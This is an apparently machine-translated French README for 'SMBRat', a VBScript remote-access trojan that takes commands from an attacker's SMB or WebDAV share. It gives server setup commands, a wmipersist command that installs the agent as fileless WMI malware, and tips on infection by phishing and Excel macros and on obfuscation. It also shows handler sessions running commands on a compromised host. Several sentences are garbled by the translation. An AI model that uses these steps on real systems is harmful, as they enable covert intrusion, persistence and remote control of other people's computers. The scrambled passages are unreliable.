Un outil d'administration à distance Windows dans Visual Basic Script
Les environnements Windows tels que les réseaux Active Directory sont vraiment saturés de trafic SMB .
Tous les hôtes reçoivent des politiques du SYSVOL , les configurations ont besoin de fichiers distants pour fonctionner, les raccourcis sur le bureau ont tendance à pointer vers \somethingelseinthenetwork.exe
.
Personne ne remarquerait une tentative de connexion supplémentaire. Droite?
- Surtout si cela réussit (c'est une mode de surveiller uniquement les refus du pare-feu )
L' agent
est un script Visual Basic qui s'exécute sur l'hôte infecté et se connecte au serveur SMB . Il crée un répertoire nommé d'après le hostname
de l'hôte et l'adresse MAC
principale (en essayant d'être unique et informatif en même temps à des fins de reporting). Toutes les commandes et informations relatives à l'hôte infecté seront stockées dans ce répertoire. zip
ping sur l'intégralité du dossier partagé archivera toutes les informations du projet !
Il n'utilise PAS de lettre de lecteur pour monter le partage, utilise simplement UNC paths
pour lire directement les fichiers distants (aucun lecteur n'est créé dans explorer.exe
).
Il injecte également le UNC path
dans la variable %PATH%
de son propre environnement d'exécution (vous pouvez exécuter des exécutables directement depuis le système de fichiers de votre machine Linux).
L' agent
est configuré pour s'exécuter une seule fois . Apatride .
Sa routine est (plus ou moins) la suivante :
exec.dat
dans le dossier qu'il a créé dans le partage SMB.cmd.exe /c <command>
comme un shell semi-interactif .output.dat
(à côté de exec.dat
).exec.dat
. Le handler
a besoin d'un serveur SMB pour fonctionner. Le module smbserver.py
du package impacket
de Core Security fera l'affaire.
Très probablement, smbd
ferait également l'affaire, mais n'a pas encore été testé.
Un partage portant le nom D$
est nécessaire pour ressembler au SMB d'un hôte Windows légitime.
# mkdir Share
# smbserver.py -comment "My Share" "D$" Share/
Impacket v0.9.17-dev - Copyright 2002-2018 Core Security Technologies
[ * ] Config file parsed
[ * ] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[ * ] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[ * ] Config file parsed
[ * ] Config file parsed
[ * ] Config file parsed
Comme l' agent
est configuré pour utiliser uniquement des chemins UNC, WebDAV peut également être utilisé sans aucune modification . Au lieu d'un serveur SMB, un serveur WebDAV peut être utilisé (un excellent serveur WebDAV avec prise en charge SSL est wsgidav).
# mkdir 'D$'
# wsgidav -p 80 -H 0.0.0.0 -r . --auth anonymous
[...] INFO : WsgiDAV/3.0.0 Python/2.7.16 Linux-4.19.0-kali3-amd64-x86_64-with-Kali-kali-rolling-kali-rolling
[...] INFO : Lock manager: LockManager(LockStorageDict)
[...] INFO : Property manager: None
[...] INFO : Domain controller: SimpleDomainController ()
[...] INFO : Registered DAV providers by route:
[...] INFO : - ' /:dir_browser ' : FilesystemProvider for path ' /root/.virtualenvs/wsgidav/local/lib/python2.7/site-packages/wsgidav/dir_browser/htdocs ' (Read-Only) (anonymous)
[...] INFO : - ' / ' : FilesystemProvider for path ' /tmp/DAV ' (Read-Write) (anonymous)
[...] WARNING : Basic authentication is enabled: It is highly recommended to enable SSL.
[...] WARNING : Share ' /:dir_browser ' will allow anonymous read access.
[...] WARNING : Share ' / ' will allow anonymous write access.
[...] INFO : Running WsgiDAV/3.0.0 Cheroot/6.5.4 Python/2.7.16
[...] INFO : Serving on http://0.0.0.0:80 ...
[...] INFO : 192.168.163.130 - (anonymous) - [2019-04-18 14:57:53] " PROPFIND /D$/Project1/DESKTOP-I3NFOQ5-John-AA-BB-CC-DD-EE-FF/ping.dat " length=0, depth=0, elap=0.004sec - > 207 Multi-Status
Pour le support SSL, les chemins UNC doivent légèrement changer, de :
\<Server-IP>DIR
à:
\<Server-IP>@SSL@443DIR
Cette modification ne peut être effectuée que sur la variable ServerName
agent.vbs
, car tous les chemins sont construits par celle-ci. Gardez à l'esprit que les certificats SSL doivent être approuvés par le système exécutant l' agent
. Les certificats auto-signés échoueront avec des avertissements.
Une boucle While peut être ajoutée au début du fichier agent.vbs
, avec une instruction de délai de plusieurs secondes (10 secondes est l'idéal), et elle pourra infecter les hôtes Windows en double-cliquant / phishing / macros Excel / etc...
Une boucle while True
en VBS avec un délai de 1 seconde ressemble à ceci :
Do While True
[ ... ]
WScript.Sleep 1000
Loop
Pourtant, si un hôte Windows a RPC activé, il est possible d'installer le fichier VBS en tant que malware sans fichier via WMI
et les fabuleux exemples de packages impacket
avec une commande telle que :
$ examples/wmipersist.py ' <username>:<password>@<hostname/ipaddress> ' install -vbs agent.vbs -name smbrat -timer 10
Il est également possible d'utiliser l'outil WMI
par accès local pour installer agent.vbs
en tant que malware sans fichier.
Les scripts Visual Basic peuvent être joliment obscurcis , en base64 ainsi que minifiés .
Il peut être très pratique de l'essayer avant de le "déployer".
Au moment de la rédaction, aucun shell l'utilisation peut donc être effectuée en utilisant simplement une commande comme Handler
n'est implémenté,watch
pour inspecter le fichier output.dat
:
$ watch -n0.2 cat Share/projectName/DESKTOP-XXXXXXX-AA : BB : CC : DD : EE : FF/output.dat
et echo
pour écrire des éléments dans le fichier exec.dat
:
$ echo ' whoami /all ' > Share/projectName/DESKTOP-XXXXXXX-AA : BB : CC : DD : EE : FF/exec.dat
handler.py
Le shell expérimental fonctionne comme suit :
$ python handler.py Share/
SMBRat >
# When a new host gets infected:
[+] Agent " DESKTOP-EG4OE7J " (00:0C:29:2B:9F:AF) just checked-in for Project: " projectName "
SMBRat > execall whoami /user
[ > ] Sending ' whoami /user ' to " projectName/DESKTOP-EG4OE7J-00:0C:29:2B:9F:AF " ...
SMBRat >
[ < ] Response from ' projectName/DESKTOP-EG4OE7J-00:0C:29:2B:9F:AF ' :
USER INFORMATION
----------------
User Name SID
=================== ========
nt authority s ystem S-1-5-18
^^^^^^^^^^^^^^^^^^^^ projectName/DESKTOP-EG4OE7J-00:0C:29:2B:9F:AF ^^^^^^^^^^^^^^^^^^^^
SMBRat >
# tcpdump -i eth0 -A
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
[...]
15:25:06.695502 IP Deskjet-4540.microsoft-ds > 172.16.47.129.3128: Flags [P.], seq 2876:2971, ack 4791, win 2110, length 95 SMB PACKET: SMBreadX (REPLY)
E...,E@[email protected].../.../....8
. & Mi~.6P.. > .......[.SMB........................
.@............ . ; ........... .net localgroup " administrators "
[...]
15:25:06.702916 IP 172.16.47.129.3128 > Deskjet-4540.microsoft-ds: Flags [P.], seq 4917:5111, ack 3097, win 2052, length 194 SMB PACKET: SMBtrans2 (REQUEST)
E...E.@......./.../..8..i~..
. ' *P....b.......SMB2......................
.F..z.....(...........z.D.........}...........p.r.o.j.e.c.t.N.a.m.e..D.E.S.K.T.O.P.-.E.G.4.O.E.7.J.-.0.0.:.0.C.:.2.9.:.2.B.:.9.F.:.A.F..o.u.t.p.u.t...d.a.t...
[...]
15:25:06.751372 IP 172.16.47.129.3128 > Deskjet-4540.microsoft-ds: Flags [P.], seq 6049:6393, ack 3748, win 2050, length 344 SMB PACKET: SMBwrite (REQUEST)
[email protected]../.../..8..i~.
.).P....*.....T.SMB........................
.T....$....... ' ..$.Alias name administrators
Comment Administrators have complete and unrestricted access to the computer/domain
Members
-------------------------------------------------------------------------------
Admin
Administrator
defaultuser0
The command completed successfully.
[...]
Le trafic ( contenu et chemins des fichiers) est transféré en texte brut si le serveur SMBv1 est utilisé (par exemple, smbserver.py
d' impacket
).
Tous les agents peuvent modifier les fichiers stockés dans Whole Share . Cela signifie qu'ils peuvent modifier le exec.dat
des autres Agents... Un smbmap
fera la lumière :
$ smbmap -H 172.16.47.189
[+] Finding open SMB ports....
[+] User SMB session establishd on 172.16.47.189...
[+] IP: 172.16.47.189:445 Name: Deskjet-4540
Disk Permissions
---- -----------
D$ READ, WRITE
[ ! ] Unable to remove test directory at \ 172.16.47.189 D $ S VNRmxBFAO, plreae remove manually
IPC$ READ, WRITE
[ ! ] Unable to remove test directory at \ 172.16.47.189 I PC$ S VNRmxBFAO, plreae remove manually
-u
et -p
de smbmap
.Il s'agit d'une session NULL (comme une connexion FTP anonyme). TOUT LE MONDE peut modifier les fichiers PARTAGER et obtenir l’exécution de code à distance sur toutes les machines infectées.
iptables
ici... Tapez execall netsh
et vous avez perdu tous vos agents. Aucun ne répondra car agent.vbs
générera le shell netsh.exe
et attendra qu'il se termine, afin qu'il puisse écrire son contenu dans output.dat
. Mais devinez quoi... Ça ne se terminera pas... Ça va rester avec le netsh>
pointant vers le vide.